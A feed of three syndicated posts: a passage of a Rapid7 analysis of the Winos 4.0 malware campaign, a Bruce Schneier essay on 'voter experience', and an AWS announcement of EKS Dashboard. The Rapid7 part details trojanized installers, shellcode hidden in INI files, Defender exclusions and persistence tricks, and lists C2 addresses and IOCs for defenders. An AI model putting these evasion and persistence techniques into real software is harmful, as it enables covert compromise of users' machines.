Rapid7 analysis confirmed that the shellcode in `Config.ini` was built using the open-source sRDI loader.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 2: Side-by-side comparison of shellcode from GitHub (left) and shellcode found in Config.ini (right)

The malware communicates with hardcoded command-and-control (C2) infrastructure over TCP port 18856 and HTTPS port 443.

Persistence is achieved through a combination of process monitoring and scheduled task registration. The embedded DLL in `Config.ini` created and executed  `Monitor.bat`, which continuously checked for malware processes and relaunched them if terminated.  ​​To ensure persistence, the malware dropped `updated.ps1` and `PolicyManagement.xml`, which are used to register a scheduled task that re-executes the VBS loader `Decision.vbs` via `wscript.exe`.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 3: Scheduled Task Triggering VBS Loader Decision.vbs

The scheduled task executed weeks after initial compromise, suggesting long-term persistence. Interestingly, the malware includes a language check that looks for Chinese language settings on the host system. But even if the system isn’t using Chinese, the malware still executes. This suggests the check isn’t actually enforced—it could be a placeholder, an unfinished feature, or something the attackers plan to use in future versions. Either way, its presence hints at an intent to focus on Chinese-language environments, even if that logic isn’t fully implemented yet.

While infrastructure details (e.g., C2 IPs) varied, for example in our case involving 156.251.17.243[:]18852 and the reference blog citing  27.124.40.155[:]18852 — both campaigns used similar communication ports (18852 and 443), suggesting that the activity belongs to the same threat actor.

Campaign evolution

Following the initial discovery, Rapid7 continued tracking the campaign throughout early 2025. During this period, multiple incidents were observed reusing the same infection chain—abusing trojanized NSIS installers, reflective DLL loading, shellcode-embedded INI files, and staged persistence mechanisms. These variants were often disguised as legitimate software such as LetsVPN, Telegram, or Chrome installers.

However, in April 2025, we observed a tactical shift. Threat actors began modifying their approach: for instance, staging scripts like `Axialis.ps1` were dropped entirely, DLLs were invoked directly using `regsvr32.exe`, and new samples showed more efforts to evade antivirus detection. These changes suggest an evolving playbook—one that retains core infrastructure and execution logic but adapts to detection pressure and operational constraints.

Evolving tactics: LetsVPN Installer leading to Winos v4.0

The diagram below illustrates the Catena execution chain as observed in the LetsVPN variant.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 4 Catena Loader: From LetsVPN Installer to Winos v4.0

The following sections break down this chain, stage by stage—from the initial installer and script logic to in-memory payload delivery and infrastructure interaction.

Our analysis started with `Lets.15.0.exe` SHA-256: 1E57AC6AD9A20CFAB1FE8EDD03107E7B63AB45CA555BA6CE68F143568884B003, a trojanized NSIS installer masquerading as a VPN setup. The installer included a decoy executable `Iatsvpn–Latest.exe` and a license file to appear legitimate. However, its true purpose was to deploy multi-stage, memory-resident malware across several directories.

Upon execution, the installer stages components in:

  • %LOCALAPPDATA%: first-stage loader `insttect.exe` and shellcode blob `Single.ini`
  • %APPDATA%\TrustAsia: second-stage payloads `Config.ini`, `Config2.ini` and loader DLL `intel.dll`
NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 5: The extracted file structure by Lets.15.0.exe

The following sections walk through each step of this chain, starting with the NSIS installer and leading to in-memory payload execution.

Installer setup: NSIS script behavior

The `NSIS.nsi` script embedded in `Lets.15.0.exe` sets up both the fake VPN installation and the deployment of malware. It acts as the first step in the execution chain. The script starts by running a PowerShell command that adds Defender exclusions for all drives (C:\ to Z:), reducing system defenses.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

First-stage payloads

The NSIS script begins by dropping initial payloads to %LOCALAPPDATA%:

  • `Single.ini`: a binary blob combining sRDI shellcode and an embedded DLL
  • `insttect.exe`: loader that reads and executes `Single.ini` in memory

Second-stage payloads

Next, the script drops second-stage files to %APPDATA%\TrustAsia:

  • `Config.ini`, `Config2.ini`: alternate sRDI payloads loaded later based on mutex logic
  • `intel.dll`:  a secondary loader invoked via regsvr32.exe

To trigger this second stage, the NSIS script executes:

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

As seen in the February 2025 MDR incident, the NSIS script completes the decoy setup by dropping `IatsvpnLatest.exe`ba0fd15483437a036e7f9dc91a65caa6e9b9494ed3793710257c450a30b88b8a and creating a desktop shortcut pointing to it. Despite the filename containing a typo, the binary is a legitimate LetsVPN executable, signed with a valid digital certificate.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 6: Malicious NSIS script

The following sections outline the role of each dropped binary in the execution chain.

Stage 1: Execution of insttect.exe and Single.ini file

We analyzed `insttect.exe`, a trojanized loader masquerading as a legitimate Tencent PC Manager installer. The binary, titled 腾讯电脑管家在线安装程序 (machine translation: “Tencent PC Manager Online Installation Program” (in both metadata and resource strings).

The binary is signed with an expired certificate issued by VeriSign Class 3 Code Signing CA (2010) and allegedly belongs to Tencent Technology (Shenzhen), valid from 2018-10-11 to 2020-02-02.

The binary includes deceptive artifacts such as localized UI strings in Chinese, internal references to Tencent development paths, and hardcoded XML updater config pointing to `QQPCDownload.dll`

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 7: Hardcoded PDB path from `insttect.exe`

These elements reinforce the loader’s appearance as legitimate software.

Upon execution, `insttect.exe` locates `%LOCALAPPDATA%\Single.ini`, allocates memory with PAGE_EXECUTE_READWRITE permissions, copies the file into that region, and transfers control to its start. As previously described, the payload uses the sRDI format—enabling the embedded shellcode to self-parse and reflectively load the DLL without separate extraction.

Windows API calls related to shellcode loading are resolved dynamically via hashed function names.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 8: Hashed API Resolution Routine

The DLL embedded within `Single.ini` takes a snapshot of running processes and continuously checks for `360tray.exe` and `360safe.exe`. These are components of 360 Total Security, a popular antivirus product developed by Chinese vendor Qihoo 360.

However, when tested with a dummy `360tray.exe`, the malware showed no response—neither terminating the process nor altering its own behavior.

Stage 2: Execution of intel.dll and Config.ini files

The `.nsi script` drops `intel.dll`, `Config.ini`, and `Config2.ini` into %APPDATA%\TrustAsia, and uses nsExec::Exec to invoke intel.dll via a regsvr32 call.

Both `Config.ini` and `Config2.ini` initially appeared benign due to their generic names. However, as with earlier payloads, both `.ini` are binary blobs containing shellcode formatted using the Shellcode Reflective DLL Injection (sRDI) technique described earlier.

As noted in the QQBrowser case, earlier variants loaded the shellcode from disk using PowerShell scripts. In this version, execution is handled entirely in memory via `regsvr32.exe`, which invokes `intel.dll`. As is typical for DLLs executed this way, `intel.dll` exports the `DllRegisterServer` function, which is automatically called.

While this shift avoids PowerShell, it’s not necessarily more evasive, since `regsvr32.exe` is a well-known LOLBin and is commonly monitored by modern EDR solutions. Upon execution, `intel.dll` loader creates a hardcoded mutex `99907F23-25AB-22C5-057C-5C1D92466C65` using the `CreateMutexA` API, and checks for the presence of two indicators: the mutex itself, and a file named `Temp.aps` in %APPDATA%\TrustAsia. If both are found, `Config2.ini` is loaded; otherwise, the default `Config.ini` is used.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 9: Handle to Config.ini being returned

Once the appropriate `.ini` file is chosen, the loader opens it using `CreateFileW` and loads its contents into memory. As seen in earlier stages, the `.ini` file contains a shellcode blob using the sRDI format, which self-parses and reflectively loads an embedded DLL.

The in-memory DLL, extracted and executed entirely from within the shellcode blob, exports a single function named `VFPower`, a naming convention consistent across all observed samples. Debug symbols embedded in the DLL reference a Chinese development path E:\冲锋\进行中\Code_Shellcode – 裸体上线用作注入\Release\Code_Shellcode.pdb (machine translation: E:\Charge\In Progress\Code_Shellcode – Naked online for injection \ Release \ Code _ Shellcode.pdb).

During runtime, this in-memory DLL creates a hardcoded mutex `zhuxianlu` (machine translation: main line) and verifies if it was launched from `UserAccountBroker.exe`. If true, it immediately initiates C2 communication, likely assuming it was started with elevated privileges. Otherwise, the malware continues execution by spawning five threads, each responsible for a specific task before ultimately reaching the same C2 routine.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 10: Mutex Check and C2 Trigger Logic

The five threads carry out the following actions:

Thread 1 launches PowerShell via `ShellExecuteExA` to add a Microsoft Defender exclusion for the C:\ drive.

Thread 2 attempts to establish persistence via scheduled task registration as seen in the earlier QQBrowser incident described in the introduction. It generates two files:

`PolicyManagement.xml` — an XML file defining a scheduled task

`updated.ps1` — a PowerShell script that imports and registers the task

To ensure the script runs without restriction the malware first sets PowerShell policies to `Unrestricted` (for the current user) and `Bypass` (for the specific script). The scheduled task is configured to invoke `regsvr32.exe` at logon, which in turn re-executes either `intel.dll` or `insttect.exe` loader.

Although this operation failed during our analysis even with the Chinese language pack installed, it was attempted twice—we believe to ensure redundancy or persistence across both loaders. Both files `PolicyManagement.xml` and `updated.ps1` are deleted immediately after execution.

Thread 3 takes a snapshot of all running processes and scans for any instance of `Telegram.exe`, `telegram.exe`, or `WhatsApp.exe`. If any of these are detected, it creates an empty marker file named `Temp.aps` in %APPDATA%\TrustAsia, and then executes:

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

This triggers the second-stage loader. The presence of the `Temp.aps`alters the loader’s behavior, causing it to run `Config2.ini` instead of `Config.ini`.

Thread 4 checks for the existence of the file `TrustAsia\Exit.aps`. If found, the file is deleted and the malware terminates.

Thread 5 acts as a persistence watchdog for the second-stage loader. It creates two files: `target.pid`, which stores the process ID of the running regsvr32.exe instance executing `intel.dll` loader, and `monitor.bat`, a batch script that checks whether this process is still running. If not, the script attempts to relaunch it. This check runs every 15 seconds to ensure `intel.dll` remains continuously active.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 11: Content of monitor.bat watchdog

Following thread execution, the final function is responsible for C2 communication. Since the earliest observed sample from February 2024, the malware has used Windows sockets and the `getaddrinfo` API to resolve a hardcoded IP and port 18852 which also seems to be consistent across all analyzed samples of `Config.ini`.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign

Once the connection is established, malware retrieves the next-stage payload from the C2 server, allocates a new memory region with PAGE_EXECUTE_READWRITE permissions, copies the downloaded content into memory, and transfers execution to it. This is the delivery of the final stage, observed as Winos v4.0 in recent samples.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 12: Jump to final payload

Final payload Winos4.0

The `intel.dll` loader selects either `Config.ini` or `Config2.ini` based on runtime conditions, such as the presence of a mutex `VJANCAVESU` and a `Temp.aps` marker file. Each of these `.ini` files contains sRDI shellcode that connects to a different C2 server to download the next-stage payload which was Winos4.0 in our case.

In recent samples, the payloads were downloaded from:

`Config.ini` → 134.122.204[.]11:18852

`Config2.ini` → 103.46.185[.]44:443

Although being retrieved from different C2 servers, both payloads were nearly identical: 112 KB in size and structured as sRDI shellcode containing an embedded DLL. This DLL uses the same reflective loading technique seen in previous stages, exports a single-function `VFPower` and and includes debug metadata referencing a Chinese development path:

C:\Users\Administrator\Desktop\Quick4\主插件\Release\上线模块.pdb (machine translation: C:\Users\Administrator\Desktop\Quick4\Main Plug-in\Release\Online Module.pdb)

Based on available evidence supported by debug info, we can say this is Winos4.0 stager `上线模块.dll`( machine translation: `Online Module.dll`.)

Extracted configuration

The Winos v4.0 stager downloaded from 134.122.204[.]11:18852 contains an embedded configuration block. The data appears to control runtime behavior, C2 communication, and implant settings. A decoded sample is shown below:

Extracted Configuration from Payload (134.122.204[.]11:18852)

Configuration Data Description
p1 134.122.204[.]11 First CC IP address
o1 6074 First port
t1 1 Protocol (TCP)
p2 134.122.204[.]11 Second CC IP address
o2 6075 Second option port
t2 1 Protocol (TCP)
p3 134.122.204[.]11 Third CC IP address
o3 6076 Third option port
t3 1 Protocol (TCP)
dd 1 Implant execution delay in seconds
cl 1 Beaconing interval in seconds
fz 认默 (default) Grouping
bb 1.0 Version
bz 2025.4.24 Generation date
jp 0 Keylogger
bh 0 End bluescreen
ll 0 Antitraffic monitoring
dl 0 Entry point
sh 0 Process daemon
kl 0 Process hollowing
bd 0 N/A

In previous incidents, Winos 4.0 has been linked to the Silver Fox APT group operation known for distributing malware like ValleyRAT via trojanized utilities and vulnerability exploitation. Notably, similar TTPs were observed in the CleverSoar campaign described by Rapid7 in November 2024 which also delivered Winos4.0 and checked system locale settings for Chinese or Vietnamese—suggesting targeting based on regional language.

Infrastructure

During our investigation, the hardcoded IP address 103.46.185[.]44 found in `Config.ini` was confirmed to host the final Winos 4.0 payload. Shodan scans showed it serving a binary blob that begins with recognizable sRDI shellcode and contains an embedded DLL identical to the Winos 4.0 stager (“Online Module”) analyzed in this report.

Pivoting on this sample using Shodan hash -646083836, we identified eight additional IPs distributing the exact same payload: 112.213.101[.]161, 112.213.101[.]139, 103.46.185[.]73, 47.83.184[.]193, 202.79.173[.]50, 202.79.173[.]54, 202.79.173[.]98, and 103.46.185[.]44.

Each host returned identical byte sequences, indicating a shared and coordinated infrastructure distributing the same stage-one loader across multiple nodes, mostly hosted in Hong Kong.

NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign
Figure 13: Shared Hosting of Identical Winos v4.0 Payloads

To expand this infrastructure mapping, we extracted additional C2 addresses from historic MDR case data and active threat hunting leads. These included:

43.226.125[.]44:18852, 47.238.125[.]85:18852, 137.220.229[.]34:18852, 8.210.165[.]181:18852, 143.92.61[.]154:18852, 47.86.28[.]28:18852, 202.79.168[.]211:443, 27.122.59[.]71:443,
143.92.63[.]144:18852, 202.79.171[.]133:443, 112.213.116[.]91:18852

Pivoting on these nodes using Shodan hash correlations revealed additional infrastructure often resolving to the same ASNs or hosting providers, such as

CTG Server Ltd. / MEGA-II IDC (AS152194)
OK COMMUNICATION / LANDUPS LIMITED (AS150452)
Alibaba Cloud (AS45102)
Tcloudnet, Inc. (AS399077)

Conclusion

This campaign shows a well-organized, regionally focused malware operation using trojanized NSIS installers to quietly drop the Winos v4.0 stager. It leans heavily on memory-resident payloads, reflective DLL loading, and decoy software signed with legit certificates to avoid raising alarms.

The malware’s logic—using mutexes to choose payloads, hiding shellcode in INI files, and layering persistence tricks like scheduled tasks and watchdog scripts—points to an actor that’s refining, not reinventing, their playbook. Infrastructure overlaps and language-based targeting hint at ties to Silver Fox APT, with activity likely aimed at Chinese-speaking environments. Rapid7 continues to track this threat and has detections in place to help protect customers.

Indicators of compromise

File Indicators

Config2.ini 4CB2CAB237893D0D661E2378E7FE4E1BAFBFAEFD713091E26C96F7EC182B6CD0
Config.ini E2490CFD25D8E66A7888F70B56FF8409494DE3B3D87BC5464D3ADABBA8B32177
Iatsvpn-Latest.exe E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
InstallOptions.dll B2091205E225FC07DAF1101218C64CE62A4690CACAC9C3D0644D12E93E4C213C
insttect.exe 4FDEDADAA57412E242DC205FABDCA028F6402962D3A8AF427A01DD38B40D4512
ioSpecial.ini D95AED234F932A1C48A2B1B0D98C60CA31F962310C03158E2884AB4DDD3EA1E0
nsExec.dll 01E72332362345C415A7EDCB366D6A1B52BE9AC6E946FB9DA49785C140BA1A4B
setup.xml E036D5E88A51008B130673AD65872559C060DEEB29A0F8DA103FE6D036E9D031
modern-wizard.bmp 3AD2DC318056D0A2024AF1804EA741146CFC18CC404649A44610CBF8B2056CF2
Single.ini B22599DD0A1C44CA1B35DF16006F3085BDDAE3EBBA6A3649EC6E4DC4CBF74865
System.dll 9111099EFE9D5C9B391DC132B2FAF0A3851A760D4106D5368E30AC744EB42706
[LICENSE].txt 16C79970ED965B31281270B1BE3F1F43671DFAF39464D7EAC38B8B27C66661CF
[NSIS].nsi 47AD38ADC3B18FB62A8E0A33E9599FD0B90D9DE220D1A18B6761D035448C378F
QQPCDownload.dll 28D2477926DE5D5A8FFCB708CB0C95C3AA9808D757F77B92F82AD4AA50A05CC8
intel.dll B8E8A13859ED42E6E708346C555A094FDC3FBD69C3C1CB9EFB43C08C86FE32D0
monitor.bat 5767D408EC37B45C7714D70AE476CB34905AD6B59830572698875FC33C3BAF2F

Network Indicators

156.251.17.243[:]18852

134.122.204.11[:]18852

103.46.185.44[:]443

MITRE TTPs

ATT&CK ID Name
T1204.002 User Execution: Malicious File
T1053.005 Scheduled Task/Job: Scheduled Task
T1562.001 Impair Defenses: Disable or Modify Tools
T1218.010 System Binary Proxy Execution: Regsvr32
T1218.011 System Binary Proxy Execution: Rundll32
T1070.004 Indicator Removal: File Deletion
T1036.004 Masquerading: Masquerade Task or Service
T1027.013 Obfuscated Files or Information: Encrypted/Encoded File
T1055.001 Process Injection: Dynamic-link Library Injection
T1071.001 Application Layer Protocol: Web Protocols
T1059.001 Command and Scripting Interpreter: PowerShell
T1620 Reflective Code Loading
T1057 Process Discovery
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer

More IOCs in our Github

https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/nsis-abuse-srdi-winos4

Rapid7 customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to Catena. We will also continue to iterate detections as new variants emerge, giving customers continuous protection without manual tuning:

  • Suspicious Scheduled Task – Potential QQBrowser Scheduled Task Identified
  • Suspicious Process – Potential QQBrowser Second Stage Execution

The Voter Experience

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2025/05/the-voter-experience.html

Technology and innovation have transformed every part of society, including our electoral experiences. Campaigns are spending and doing more than at any other time in history. Ever-growing war chests fuel billions of voter contacts every cycle. Campaigns now have better ways of scaling outreach methods and offer volunteers and donors more efficient ways to contribute time and money. Campaign staff have adapted to vast changes in media and social media landscapes, and use data analytics to forecast voter turnout and behavior.

Yet despite these unprecedented investments in mobilizing voters, overall trust in electoral health, democratic institutions, voter satisfaction, and electoral engagement has significantly declined. What might we be missing?

In software development, the concept of user experience (UX) is fundamental to the design of any product or service. It’s a way to think holistically about how a user interacts with technology. It ensures that products and services are built with the users’ actual needs, behaviors, and expectations in mind, as opposed to what developers think users want. UX enables informed decisions based on how the user will interact with the system, leading to improved design, more effective solutions, and increased user satisfaction. Good UX design results in easy, relevant, useful, positive experiences. Bad UX design leads to unhappy users.

This is not how we normally think of elections. Campaigns measure success through short-term outputs—voter contacts, fundraising totals, issue polls, ad impressions—and, ultimately, election results. Rarely do they evaluate how individuals experience this as a singular, messy, democratic process. Each campaign, PAC, nonprofit, and volunteer group may be focused on their own goal, but the voter experiences it all at once. By the time they’re in line to vote, they’ve been hit with a flood of outreach—spammy texts from unfamiliar candidates, organizers with no local ties, clunky voter registration sites, conflicting information, and confusing messages, even from campaigns they support. Political teams can point to data that justifies this barrage, but the effectiveness of voter contact has been steadily declining since 2008. Intuitively, we know this approach has long-term costs. To address this, let’s evaluate the UX of an election cycle from the point of view of the end user, the everyday citizen.

Specifically, how might we define the UX of an election cycle: the voter experience (VX)? A VX lens could help us see the full impact of the electoral cycle from the perspective that matters most: the voters’.

For example, what if we thought about elections in terms of questions like these?

  • How do voters experience an election cycle, from start to finish?
  • How do voters perceive their interactions with political campaigns?
  • What aspects of the election cycle do voters enjoy? What do they dislike? Do citizens currently feel fulfilled by voting?
  • If voters “tune out” of politics, what part of the process has made them want to not pay attention?
  • What experiences decrease the number of eligible citizens who register and vote?
  • Are we able to measure the cumulative impacts of political content interactions over the course of multiple election cycles?
  • Can polls or focus groups help researchers learn about longitudinal sentiment from citizens as they experience multiple election cycles?
  • If so, what would we want to learn in order to bolster democratic participation and trust in institutions?

Thinking in terms of VX can help answer these questions. Moreover, researching and designing around VX could help identify additional metrics, beyond traditional turnout and engagement numbers, that better reflect the collective impact of campaigning: of all those voter contact and persuasion efforts combined.

This isn’t a radically new idea, and earlier efforts to embed UX design into electoral work yielded promising early benefits. In 2020, a coalition of political tech builders created a Volunteer Experience program. The group held design sprints for political tech tools, such as canvassing apps and phone banking sites. Their goal was to apply UX principles to improve the volunteer user flow, enhance data hygiene, and improve volunteer retention. If a few sprints can improve the phone banking experience, imagine the transformative possibilities of taking this lens to the VX as a whole.

If we want democracy to thrive long-term, we need to think beyond short-term wins and table stakes. This isn’t about replacing grassroots organizing or civic action with digital tools. Rather, it’s about learning from UX research methodology to build lasting, meaningful engagement that involves both technology and community organizing. Often, it is indeed local, on-the-ground organizers who have been sounding the alarm about the long-term effects of prioritizing short-term tactics. A VX approach may provide additional data to bolster their arguments.

Learnings from a VX analysis of election cycles could also guide the design of new programs that not only mobilize voters (to contribute, to campaign for their candidates, and to vote), but also ensure that the entire process of voting, post-election follow-up, and broader civic participation is as accessible, intuitive, and fulfilling as possible. Better voter UX will lead to more politically engaged citizens and higher voter turnout.

VX methodology may help combine real-time citizen feedback with centralized decision-making. Moving beyond election cycles, focusing on the citizen UX could accelerate possibilities for citizens to provide real-time feedback, review the performance of elected officials and government, and receive help-desk-style support with the same level of ease as other everyday “products.” By understanding how people engage with civic life over time, we can better design systems for citizens that strengthen participation, trust, and accountability at every level.

Our hope is that this approach, and the new data and metrics uncovered by it, will support shifts that help restore civic participation and strengthen trust in institutions. With citizens oriented as the central users of our democratic systems, we can build new best practices for fulfilling civic infrastructure that foster a more effective and inclusive democracy.

The time for this is now. Despite hard-fought victories and lessons learned from failures, many people working in politics privately acknowledge a hard truth: our current approach isn’t working. Every two years, people build campaigns, mobilize voters, and drive engagement, but they are held back by what they don’t understand about the long-term impact of their efforts. VX thinking can help solve that.

This essay was written with Hillary Lehr, and originally appeared on the Harvard Kennedy School Ash Center’s website.

Centralize visibility of Kubernetes clusters across AWS Regions and accounts with EKS Dashboard

Post Syndicated from Micah Walter original https://aws.amazon.com/blogs/aws/centralize-visibility-of-kubernetes-clusters-across-aws-regions-and-accounts-with-eks-dashboard/

Today, we are announcing EKS Dashboard, a centralized display that enables cloud architects and cluster administrators to maintain organization-wide visibility across their Kubernetes clusters. With EKS Dashboard, customers can now monitor clusters deployed across different AWS Regions and accounts through a unified view, making it easier to track cluster inventory, assess compliance, and plan operational activities like version upgrades.

As organizations scale their Kubernetes deployments, they often run multiple clusters across different environments to enhance availability, ensure business continuity, or maintain data sovereignty. However, this distributed approach can make it challenging to maintain visibility and control, especially in decentralized setups spanning multiple Regions and accounts. Today, many customers resort to third-party tools for centralized cluster visibility, which adds complexity through identity and access setup, licensing costs, and maintenance overhead.

EKS Dashboard simplifies this experience by providing native dashboard capabilities within the AWS Console. The Dashboard provides insights into 3 different resources including clusters, managed node groups, and EKS add-ons, offering aggregated insights into cluster distribution by Region, account, version, support status, forecasted extended support EKS control plane costs, and cluster health metrics. Customers can drill down into specific data points with automatic filtering, enabling them to quickly identify and focus on clusters requiring attention.

Setting up EKS Dashboard

Customers can access the Dashboard in EKS console through AWS Organizations’ management and delegated administrator accounts. The setup process is straightforward and includes simply enabling trusted access as a one-time setup in the Amazon EKS console’s organizations settings page. Trusted access is available from the Dashboard settings page. Enabling trusted access will allow the management account to view the Dashboard. For more information on setup and configuration, see the official AWS Documentation.

Screenshot of EKS Dashboard settings

A quick tour of EKS Dashboard

The dashboard provides both graphical, tabular, and map views of your Kubernetes clusters, with advanced filtering, and search capabilities. You can also export data for further analysis or custom reporting.

Screenshot of EKS Dashboard interface

EKS Dashboard overview with key info about your clusters.

Screenshot of EKS Dashboard interface

There is a wide variety of available widgets to help visualize your clusters.

Screenshot of EKS Dashboard interface

You can visualize your managed node groups by instance type distribution, launch templates, AMI versions, and more

Screenshot of EKS Dashboard interface

There is even a map view where you can see all of your clusters across the globe.

Beyond EKS clusters

EKS Dashboard isn’t limited to just Amazon EKS clusters; it can also provide visibility into connected Kubernetes clusters running on-premises or on other cloud providers. While connected clusters may have limited data fidelity compared to native Amazon EKS clusters, this capability enables truly unified visibility for organizations running hybrid or multi-cloud environments.

Available now

EKS Dashboard is available today in the US East (N. Virginia) Region and is able to aggregate data from all commercial AWS Regions. There is no additional charge for using the EKS Dashboard. To learn more, visit the Amazon EKS documentation.

This new capability demonstrates our continued commitment to simplifying Kubernetes operations for our customers, enabling them to focus on building and scaling their applications rather than managing infrastructure. We’re excited to see how customers use EKS Dashboard to enhance their Kubernetes operations.

— Micah;

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